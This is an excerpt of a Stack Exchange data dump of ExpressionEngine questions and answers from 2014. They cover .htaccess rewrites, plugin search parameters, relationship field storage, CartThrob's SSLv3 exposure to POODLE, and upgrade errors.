  <row Id="26497" PostTypeId="2" ParentId="22140" CreationDate="2014-10-29T16:27:02.853" Score="1" Body="&lt;p&gt;I've just had this issue too but managed to fix it by doing the following:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Go to Addons &gt; Modules &gt; Structure&lt;/li&gt;&#xA;&lt;li&gt;Click Module Settings in the top right&lt;/li&gt;&#xA;&lt;li&gt;On this screen click the &lt;code&gt;convert to using the 2.7 hooks&lt;/code&gt; link (bottom option) and then press Save Module Settings&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;This worked fine for me however I'm not sure of any implications it may have?&lt;/p&gt;&#xA;" OwnerUserId="2420" LastEditorUserId="2420" LastEditDate="2014-11-11T16:49:16.630" LastActivityDate="2014-11-11T16:49:16.630" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="26498" PostTypeId="2" ParentId="3666" CreationDate="2014-10-29T18:32:07.483" Score="0" Body="&lt;p&gt;All of the ExpressionEngine tmbundle's derived from Tim Kelty, including the repo linked to in the question should contain the scope &lt;code&gt;text.html.ee&lt;/code&gt; which can be targeted by adding a node inside the theme array:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    &amp;lt;dict&amp;gt;&#xA;        &amp;lt;key&amp;gt;name&amp;lt;/key&amp;gt;&#xA;        &amp;lt;string&amp;gt;Expression Engine&amp;lt;/string&amp;gt;&#xA;        &amp;lt;key&amp;gt;scope&amp;lt;/key&amp;gt;&#xA;        &amp;lt;string&amp;gt;text.html.ee&amp;lt;/string&amp;gt;&#xA;        &amp;lt;key&amp;gt;settings&amp;lt;/key&amp;gt;&#xA;        &amp;lt;dict&amp;gt;&#xA;            &amp;lt;key&amp;gt;fontStyle&amp;lt;/key&amp;gt;&#xA;            &amp;lt;string /&amp;gt;&#xA;            &amp;lt;key&amp;gt;foreground&amp;lt;/key&amp;gt;&#xA;            &amp;lt;string&amp;gt;#c6b1ed&amp;lt;/string&amp;gt;&#xA;        &amp;lt;/dict&amp;gt;&#xA;    &amp;lt;/dict&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Optionally, you can add a background key/pair and/or target specific scopes. Additional scopes are found as string values in &lt;a href=&quot;https://github.com/mrw/ExpressionEngine2-Sublime-Text-Bundle/blob/master/Syntaxes/ExpressionEngine.tmLanguage&quot; rel=&quot;nofollow&quot;&gt;https://github.com/mrw/ExpressionEngine2-Sublime-Text-Bundle/blob/master/Syntaxes/ExpressionEngine.tmLanguage&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also find the sublime plugins &lt;a href=&quot;https://sublime.wbond.net/packages/ColorPicker&quot; rel=&quot;nofollow&quot;&gt;ColorPicker&lt;/a&gt; and &lt;a href=&quot;https://sublime.wbond.net/packages/ColorSchemeEditor&quot; rel=&quot;nofollow&quot;&gt;ColorSchemeEditor&lt;/a&gt; helpful in editing themes.&lt;/p&gt;&#xA;" OwnerUserId="3322" LastActivityDate="2014-10-29T18:32:07.483" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26500" PostTypeId="2" ParentId="26346" CreationDate="2014-10-29T21:21:43.340" Score="3" Body="&lt;p&gt;First thing to check is your .htaccess file. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Remove everything in it and use the code sample provided by EllisLab in the docs for removing index.php: &lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/urls/remove_index.php.html&quot; rel=&quot;nofollow&quot;&gt;https://ellislab.com/expressionengine/user-guide/urls/remove_index.php.html&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;IfModule mod_rewrite.c&amp;gt;&#xA;        RewriteEngine On&#xA;        RewriteBase /&#xA;&#xA;        # Removes index.php from ExpressionEngine URLs&#xA;        RewriteCond %{THE_REQUEST} ^GET.*index\.php [NC]&#xA;        RewriteCond %{REQUEST_URI} !/system/.* [NC]&#xA;        RewriteRule (.*?)index\.php/*(.*) /$1$2 [R=301,NE,L]&#xA;&#xA;        # Directs all EE web requests through the site index file&#xA;        RewriteCond %{REQUEST_FILENAME} !-f&#xA;        RewriteCond %{REQUEST_FILENAME} !-d&#xA;        RewriteRule ^(.*)$ /index.php/$1 [L]&#xA;&amp;lt;/IfModule&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="28" LastEditorUserId="28" LastEditDate="2014-10-30T02:57:15.290" LastActivityDate="2014-10-30T02:57:15.290" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="26501" PostTypeId="1" CreationDate="2014-10-29T21:30:18.170" Score="1" ViewCount="156" Body="&lt;p&gt;Due to the POODLE vulnerability in SSLv3, Authorize.net is shutting down their support for SSLv3 on Nov 4, 2014. Here's a excerpt from the notice:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;To that end, on November 4, 2014, we will be disabling the use of SSLv3 within our systems. This means that if your website or shopping cart solution uses SSLv3 to send transactions to Authorize.Net, you will no longer be able to process transactions. You will also no longer be able to access any secure Authorize.Net pages from IE6.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.authorize.net/blog/?page_id=5561617&quot; rel=&quot;nofollow&quot;&gt;http://www.authorize.net/blog/?page_id=5561617&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do the Authorize.net payment gateway plugins in CartThrob 1 or 2 use SSLv3? How can I check to make sure?&lt;/p&gt;&#xA;" OwnerUserId="153" LastActivityDate="2014-10-29T23:57:21.770" Title="Does CartThrob 2 use SSLv3 in it's Authorize.net payment gateway?" Tags="|cartthrob|payment-gateway|ssl|mightybigrobot|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="26502" PostTypeId="2" ParentId="26346" CreationDate="2014-10-29T22:15:26.303" Score="0" Body="&lt;p&gt;First, look at your htaccess file. It looks like you're able to access other files with a .js extension, so your javascript folder is probably ok. You might just be setting your file path to a file that isn't case-sensitive correct. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Keep in mind that different operating systems handle case sensitivity differently. On OS X, files are case insensitive (same goes on Windows), while on Linux, files ARE case sensitive. So, filename.js and FileName.js are 2 different files on Linux.&lt;/p&gt;&#xA;" OwnerUserId="1354" LastActivityDate="2014-10-29T22:15:26.303" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26503" PostTypeId="1" CreationDate="2014-10-29T22:30:16.020" Score="0" ViewCount="62" Body="&lt;p&gt;I am having a weird issue where my {pagination_url} is defaulting to an old server path. Where can I go to make sure that this path is properly set. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have no experience searching the database to be honest with you so guidance will be needed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I did use Deploy Helper each time when moving the site from server to server if that helps at all. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for the help! &lt;/p&gt;&#xA;" OwnerUserId="1418" LastActivityDate="2014-10-29T22:30:16.020" Title="Setting {pagination_url}" Tags="|pagination|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="26504" PostTypeId="1" AcceptedAnswerId="26645" CreationDate="2014-10-29T23:17:59.727" Score="1" ViewCount="714" Body="&lt;p&gt;A found a few questions related to this one. However, the solution they provide is not compatible with my situation.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://expressionengine.stackexchange.com/questions/755/how-do-i-hide-a-div-when-the-channel-entries-tag-it-contains-has-no-results&quot;&gt;How do I hide a div when the channel entries tag it contains has no results?&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://expressionengine.stackexchange.com/questions/18419/render-html-only-if-channel-has-entries&quot;&gt;Render HTML only if channel has entries&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I have a set of tabs which act as filters for displaying content.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;ul id=&quot;tabs&quot;&amp;gt;&#xA;  &amp;lt;li&amp;gt;&amp;lt;a href=&quot;#tab-approved&quot;&amp;gt;Approved&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&amp;lt;!-- only display if channel has entries --&amp;gt;&#xA;  &amp;lt;li&amp;gt;&amp;lt;a href=&quot;#tab-pending&quot;&amp;gt;Pending&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;&amp;lt;/ul&amp;gt;&#xA;&#xA;&amp;lt;div id=&quot;tab-approved&quot;&amp;gt;&#xA;  {exp:channel:entries channel=&quot;thing&quot; search:thing_status=&quot;approved&quot;}&#xA;    ...&#xA;  {/exp:channel:entries}&#xA;&amp;lt;/div&amp;gt;&#xA;&#xA;...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How can I only display the tab if there are entries which match the search filter?&lt;/p&gt;&#xA;" OwnerUserId="924" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.330" LastActivityDate="2014-11-07T20:56:53.017" Title="How to hide content if channel has no entries?" Tags="|conditionals|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="26505" PostTypeId="2" ParentId="26501" CreationDate="2014-10-29T23:57:21.770" Score="1" Body="&lt;p&gt;From what I understand, CartThrob's Authorize.net gateway plugin uses curl to communicate with Authorize.net. What kind of SSL connection curl uses depends on your server's configuration, not CartThrob.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To test wether your server has SSL 3 enabled, you can use Qualys' SSL Server Test: &lt;a href=&quot;https://www.ssllabs.com/ssltest/&quot; rel=&quot;nofollow&quot;&gt;https://www.ssllabs.com/ssltest/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is also an excellent article about how to test for the POODLE vulnerability, disable SSLv3 support on your server, and protect yourself by disabling SSLv3 support in your browser.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;SSL V3 GOES TO THE DOGS - POODLE KILLS OFF PROTOCOL&lt;/strong&gt;&lt;br&gt;&#xA;&lt;a href=&quot;https://scotthelme.co.uk/sslv3-goes-to-the-dogs-poodle-kills-off-protocol/&quot; rel=&quot;nofollow&quot;&gt;https://scotthelme.co.uk/sslv3-goes-to-the-dogs-poodle-kills-off-protocol/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="153" LastActivityDate="2014-10-29T23:57:21.770" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26506" PostTypeId="1" AcceptedAnswerId="26515" CreationDate="2014-10-30T01:10:35.377" Score="1" ViewCount="292" Body="&lt;p&gt;In the EE database, I see that &lt;code&gt;exp_channel_fields&lt;/code&gt;.&lt;code&gt;field_id&lt;/code&gt; = 4 refers to a relationship in my &lt;code&gt;Channel-A&lt;/code&gt; (channel_id = 1). I assume that channel data for that field should be stored in my &lt;code&gt;exp_channel_data&lt;/code&gt;.&lt;code&gt;field_id_4&lt;/code&gt;. Is this right? I do not see any data in that column, despite me going into Channel-A and making sure that I have selected a value from the relationship field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm trying to build a query that gets a distinct list of url titles from the relationship field if that title was selected in Channel A.&lt;/p&gt;&#xA;" OwnerUserId="324" LastActivityDate="2014-10-30T12:28:17.890" Title="Where are relationship field data stored?" Tags="|database|fields|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26507" PostTypeId="2" ParentId="26346" CreationDate="2014-10-30T04:37:58.830" Score="0" Body="&lt;p&gt;I know you have your answer but it can be useful to ls -al and check permissions/ownership on the files too - if you're managing your own server it can be persissions/groups issues that cause these errors too.  just adding this as another tool in the toolbox :)&lt;/p&gt;&#xA;" OwnerUserId="1532" LastActivityDate="2014-10-30T04:37:58.830" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26508" PostTypeId="2" ParentId="26488" CreationDate="2014-10-30T09:26:54.203" Score="1" Body="&lt;p&gt;Took a look and saw you were using the same fields twice: once for mobile, once for desktop. One of those would be hidden based on User Agent, but the checkboxes would be checked anyway, as they were still in the DOM.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That means checking one checkbox would actually check 2, resulting in a parameter like &lt;code&gt;category=&quot;1&amp;amp;1&quot;&lt;/code&gt;, which triggered the No Results.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Removing the hidden fields from the DOM solved the issue.&lt;/p&gt;&#xA;" OwnerUserId="172" LastActivityDate="2014-10-30T09:26:54.203" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26510" PostTypeId="2" ParentId="26495" CreationDate="2014-10-30T11:15:11.840" Score="0" Body="&lt;p&gt;Spoke to Mr. Barrett at CartThrob on a support call for a separate issue and I mentioned this problem I was having.  He had me replace the gift certificates add to cart form tag&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:cartthrob_gift_certificates:add_to_cart_form}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;with the standard cartthrob form tag, but adding in a &lt;code&gt;gift_certificate=&quot;yes&quot;&lt;/code&gt; parameter&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:cartthrob:add_to_cart_form gift_certificate=&quot;yes&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This has resolved my issue.&lt;/p&gt;&#xA;" OwnerUserId="2002" LastActivityDate="2014-10-30T11:15:11.840" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26511" PostTypeId="1" CreationDate="2014-10-30T11:20:53.423" Score="2" ViewCount="115" Body="&lt;p&gt;Running EE 2.3 and trying to upgrade, the first error is a message which says:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;We have detected that you are currently running ExpressionEngine&#xA;  version Public Beta pb01 If you are ready to update ExpressionEngine&#xA;  to version 2.5.0 click the link below:&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Which is odd in itself as it is not a public beta but v2.3.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then there are a slew of errors relating to duplicated tables and no primary key - these are all fixable in PhpMyAdmin by deleting or editing but is a major pita.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Next, with those errors fixed we run into one for which I have no solution: the installer stalls because a field/table prefixed with 'weblog_' does not exist. Which of course it does not as we're not upgrading from V1. Obviously though the installer thinks we are and won't go further.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is pretty imperative we get this upgrade done asap.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone have any suggestions? This is on EngineHosting and they can't help.. what's next? Can't really abandon the upgrade....&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cheers&lt;/p&gt;&#xA;" OwnerUserId="2748" LastActivityDate="2015-12-31T23:28:19.010" Title="Upgrade from 2.3 to 2.9 strange errors" Tags="|ee2-upgrades|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="26513" PostTypeId="1" AcceptedAnswerId="26519" CreationDate="2014-10-30T12:16:10.373" Score="2" ViewCount="62" Body="&lt;p&gt;I'm building a custom plugin tag pair which returns channel entries, following the excellent answer to &lt;a href=&quot;https://expressionengine.stackexchange.com/a/5796/2838&quot;&gt;this question&lt;/a&gt;. Almost everything seems to be working: I set the &lt;code&gt;TMPL-&amp;gt;tagparams&lt;/code&gt; array to my custom params, instantiate a &lt;code&gt;new Channel()&lt;/code&gt;, and return its entries.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm searching a &quot;classes&quot; channel where entries have a &quot;weekday&quot; custom field with values like &quot;Monday&quot;, &quot;Tuesday&quot;, etc. In the case, I want to return the first 5 classes on Mondays.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$this-&amp;gt;EE-&amp;gt;TMPL-&amp;gt;tagparams = array('channel'        =&amp;gt; 'classes',&#xA;                                   'limit'          =&amp;gt; '5',&#xA;                                   'search:weekday' =&amp;gt; '=Monday');&#xA;&#xA;if ( ! class_exists('Channel')) {&#xA;  require_once(APPPATH.'modules/channel/mod.channel.php');&#xA;}&#xA;$channel = new Channel();&#xA;&#xA;return $channel-&amp;gt;entries();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;EE seems to be ignoring the &lt;code&gt;search:weekday&lt;/code&gt; param. It's returning the right channel and enforcing the limit, but it's returning all results, not just results with &quot;Monday&quot; for their &quot;weekday&quot; custom field. How can I use search params in a plugin like this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update:&lt;/strong&gt; to provide more use-case info and clarify that I'm searching a custom field with the search param.&lt;/p&gt;&#xA;" OwnerUserId="2838" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.330" LastActivityDate="2014-10-30T14:38:14.993" Title="How to include search params in plugin with TMPL-&gt;tagparams" Tags="|ee2|add-on-development|plugin|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26514" PostTypeId="2" ParentId="26513" CreationDate="2014-10-30T12:21:23.610" Score="0" Body="&lt;p&gt;Ah - this is because the &lt;code&gt;search&lt;/code&gt; parameter will only search custom fields - it won't search the &lt;code&gt;title&lt;/code&gt; (or any other field which resides in &lt;code&gt;exp_channel_titles&lt;/code&gt; as opposed to &lt;code&gt;exp_channel_data&lt;/code&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What you'll have to do if you want to support this in your plugin is check to see if that parameter was passed, and if so, do a separate database query for all titles including that phrase. Then, concatenate the resulting Entry IDs into a pipe-delimited string, and feed that back as the &lt;code&gt;entry_id&lt;/code&gt; parameter on &lt;code&gt;ee()-&amp;gt;TMPL-&amp;gt;tagparams&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2014-10-30T12:21:23.610" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="26515" PostTypeId="2" ParentId="26506" CreationDate="2014-10-30T12:28:17.890" Score="2" Body="&lt;p&gt;Relationships are stored in &lt;code&gt;exp_relationships&lt;/code&gt; - the &lt;code&gt;exp_channel_data&lt;/code&gt; content for a relationship field is irrelevant.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So your query would need to do a join between &lt;code&gt;exp_channel_titles&lt;/code&gt; and &lt;code&gt;exp_relationships&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2014-10-30T12:28:17.890" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26516" PostTypeId="2" ParentId="20555" CreationDate="2014-10-30T13:53:12.133" Score="0" Body="&lt;p&gt;I ended up solving this with a small patch to two EE core files. First, I have the relationships fieldtype query select the name of the channel:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// system/expressionengine/fieldtypes/relationship/ft.relationship.php:339&#xA;// Old&#xA;-&amp;gt;select('channel_titles.entry_id, channel_titles.title')&#xA;// New&#xA;-&amp;gt;select('channel_titles.entry_id, channel_titles.title, channels.channel_title')&#xA;-&amp;gt;join('channels', 'channel_titles.channel_id = channels.channel_id')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then I output the channel title before each listing in the relationships picker:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;!-- system/expressionengine/fieldtypes/relationship/views/publish.php:34 --&amp;gt;&#xA;&amp;lt;!-- As the first line within the &amp;lt;label&amp;gt; --&amp;gt;&#xA;&amp;lt;?= $row['channel_title'] ?&amp;gt;:&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now, when an admin sees two entries both called &quot;Something Awesome&quot; in the relationship picker, they'll know which is which:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/PDR6N.png&quot; alt=&quot;posts and programs with the same name&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="2838" LastActivityDate="2014-10-30T13:53:12.133" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26517" PostTypeId="1" CreationDate="2014-10-30T14:01:02.120" Score="0" ViewCount="529" Body="&lt;p&gt;I am using EE's built-in Mailing List Activation Instructions email to send out an html templated email to users who signs up on the website's newsletter. The email is sending perfectly, but instead of displaying the rendered html template and content, it shows the html code directly onto the email client. Please see below. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/x3TTb.png&quot; alt=&quot;MS Outlook Displaying HTML Code&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It does the same with Gmail. I have set the default email type in the backend as HTML, but does not seem to take effect.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there perhaps anything I am missing or doing incorrectly maybe?&lt;/p&gt;&#xA;" OwnerUserId="3170" LastActivityDate="2015-12-08T14:59:23.620" Title="Email Displaying HTML Code" Tags="|ee2|html-email|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26519" PostTypeId="2" ParentId="26513" CreationDate="2014-10-30T14:38:14.993" Score="2" Body="&lt;p&gt;The search parameters belong in a different property of the Template object: &lt;code&gt;ee()-&amp;gt;TMPL-&amp;gt;search_fields&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So use something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ee()-&amp;gt;TMPL-&amp;gt;search_fields['weekday'] = '=Monday';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="172" LastActivityDate="2014-10-30T14:38:14.993" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="26520" PostTypeId="2" ParentId="26443" CreationDate="2014-10-30T15:09:09.977" Score="-1" Body="&lt;p&gt;I found the solution to my problem. While the link above does indeed go to a password reset request form, the correct link should be:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;http://www.sitexyz.org/admin.php?S=0&amp;amp;D=cp&amp;amp;C=login&amp;amp;M=forgotten_password_form&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="258" LastActivityDate="2014-10-30T15:09:09.977" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="26522" PostTypeId="2" ParentId="26504" CreationDate="2014-10-30T16:29:37.120" Score="4" Body="&lt;p&gt;Put the div tags inside your channel entries tag pair but to prevent them being output many times wrap them in conditionals. Then you can test the total results returned to decide whether to output your tab.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  {exp:channel:entries channel=&quot;thing&quot; search:thing_status=&quot;approved&quot;}&#xA;    {if count==1}&#xA;        &amp;lt;ul id=&quot;tabs&quot;&amp;gt;&#xA;          {if total_results&amp;gt;0}&amp;lt;li&amp;gt;&amp;lt;a href=&quot;#tab-approved&quot;&amp;gt;Approved&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;{/if}&#xA;          &amp;lt;li&amp;gt;&amp;lt;a href=&quot;#tab-pending&quot;&amp;gt;Pending&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;        &amp;lt;/ul&amp;gt;&#xA;        &amp;lt;div id=&quot;tab-approved&quot;&amp;gt;&#xA;    {/if}&#xA;    ...&#xA;    {if count==total_results}&amp;lt;/div&amp;gt;{/if}&#xA;  {/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="159" LastActivityDate="2014-10-30T16:29:37.120" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="26523" PostTypeId="1" AcceptedAnswerId="26535" CreationDate="2014-10-30T16:40:59.307" Score="1" ViewCount="70" Body="&lt;p&gt;All of a sudden, thumbs are not showing in Assets. The folders are being created in the cache/assets/thumbs folders when files are uploaded, but no image is generated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The odd part is that in my dev environment the thumbs are being created.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2.8.1 EE&#xA;2.4 Assets&lt;/p&gt;&#xA;" OwnerUserId="3562" LastActivityDate="2014-10-31T18:58:40.920" Title="Assets thumbs not being generated" Tags="|assets|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="26524" PostTypeId="2" ParentId="19577" CreationDate="2014-10-30T18:42:58.890" Score="2" Body="&lt;p&gt;It's also worth noting that using protocol relative ( //domain.com ) will work in most situations. This allows you to not have to hardcode a protocol specific url. Helpful when you're using the same code on a live HTTPS site as well as a local, HTTP site.&lt;/p&gt;&#xA;" OwnerUserId="133" LastActivityDate="2014-10-30T18:42:58.890" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="26526" PostTypeId="1" AcceptedAnswerId="26527" CreationDate="2014-10-30T23:58:56.850" Score="1" ViewCount="16" Body="&lt;p&gt;Looking at the database, is there anyway to find out when a particular Channel field was added to EE?&lt;/p&gt;&#xA;" OwnerUserId="324" LastActivityDate="2014-10-31T00:10:40.960" Title="Date When A Channel Field Was Added" Tags="|database|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26527" PostTypeId="2" ParentId="26526" CreationDate="2014-10-31T00:10:40.960" Score="2" Body="&lt;p&gt;It doesn't look like it. The only field that could hold that data is the field_settings column, and that just has a few settings in an array that are serialized. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Array&#xA;(&#xA;[tagger] =&amp;gt; Array&#xA;(&#xA;[show_most_used] =&amp;gt; yes&#xA;[single_field] =&amp;gt; no&#xA;)&#xA;&#xA;[field_show_smileys] =&amp;gt; n&#xA;[field_show_glossary] =&amp;gt; n&#xA;[field_show_spellcheck] =&amp;gt; n&#xA;[field_show_formatting_btns] =&amp;gt; n&#xA;[field_show_file_selector] =&amp;gt; n&#xA;[field_show_writemode] =&amp;gt; n&#xA;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1354" LastActivityDate="2014-10-31T00:10:40.960" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26528" PostTypeId="1" AcceptedAnswerId="26529" CreationDate="2014-10-31T00:51:10.953" Score="1" ViewCount="181" Body="&lt;p&gt;Is there a way to see what the edit history is of channel entry? I'm happy to look into the database, if needed.&lt;/p&gt;&#xA;" OwnerUserId="324" LastActivityDate="2014-10-31T01:16:23.467" Title="Edit History For A Channel Entry?" Tags="|database|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26529" PostTypeId="2" ParentId="26528" CreationDate="2014-10-31T01:16:23.467" Score="1" Body="&lt;p&gt;According to the &lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/cp/content/publish.html#revisions-tab&quot; rel=&quot;nofollow&quot;&gt;user guide&lt;/a&gt;, if you have Entry Versioning enabled in Admin ‣ Channel Administration ‣ Channels, a Revisions tab will appear on the entry publish/edit screen allowing you to see all of the revisions for the entry.&lt;/p&gt;&#xA;" OwnerUserId="197" LastActivityDate="2014-10-31T01:16:23.467" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="26530" PostTypeId="1" CreationDate="2014-10-31T06:40:48.860" Score="1" ViewCount="182" Body="&lt;p&gt;I've recently upgraded from EE1 to EE2. I had some issues with upgrading the add-ons which you can see &lt;a href=&quot;https://expressionengine.stackexchange.com/questions/26423/upgrading-from-ee1-to-ee2-how-do-i-manage-the-add-ons-part-of-the-process&quot;&gt;here&lt;/a&gt;, but I now have a working cpanel that I am able to log into, but on the frontend I am getting this error:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Error&#xA;&#xA;Unable to load requested field type file:  ft.ftype_id_2.php.&#xA;&#xA;Confirm the fieldtype file is located in the expressionengine/third_party/ directory&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have done a search for ftype_id_2 in my database and it returned 3 results from the exp_channel_fields table. On the EE1 version of the site these are all FreeForm fields &quot;FF Checkbox Group&quot; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;How should I proceed to get these fields across from EE1 to EE2? &lt;/p&gt;&#xA;" OwnerUserId="649" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.330" LastActivityDate="2016-06-16T05:14:11.793" Title="FieldFrame fieldtype errors after upgrading from EE1 to EE2" Tags="|ee2|fieldtype|ee1|upgrade|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
